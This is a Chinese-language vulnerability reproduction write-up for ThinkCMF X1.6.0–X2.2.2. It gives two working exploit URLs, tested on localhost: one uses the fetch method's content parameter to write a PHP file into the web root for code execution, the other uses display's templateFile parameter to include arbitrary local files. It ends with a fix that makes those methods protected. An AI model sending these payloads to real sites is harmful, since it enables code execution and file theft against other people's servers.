ThinkCMF框架任意文件包含 漏洞復現

0x01 簡介

ThinkCMF是一款基於ThinkPHP+MYSQL開發的中文內容管理框架。ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。
但是由於代碼漏洞,可以構造惡意url造成文件包含/上傳漏洞。

0x02 漏洞版本

  • ThinkCMF X1.6.0
  • ThinkCMF X2.1.0
  • ThinkCMF X2.2.0
  • ThinkCMF X2.2.1
  • ThinkCMF X2.2.2

0x03 環境搭建

ThinkCMF X2.2.2 下載:https://github.com/SaltNego/much_tools

在這裏插入圖片描述

在這裏插入圖片描述

在這裏插入圖片描述

在這裏插入圖片描述

在這裏插入圖片描述

在這裏插入圖片描述

0x04 漏洞復現

  1. 通過fetch方法和content參數,控制寫入內容在當前web目錄寫入php文件,造成代碼執行
http://127.0.0.1/ThinkCMFX/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('196a4758191e42f7.php','<?php echo $showtime=date("Y-m-d H:i:s");phpinfo(); ?>')</php>

在這裏插入圖片描述
在這裏插入圖片描述

在這裏插入圖片描述

  1. 通過display方法和templateFile參數進行包含任意文件

http://127.0.0.1/ThinkCMFX/?a=display&templateFile=C:\WindowsUpdate.log
在這裏插入圖片描述

在這裏插入圖片描述

0x05 修復建議

將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改爲 protected

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章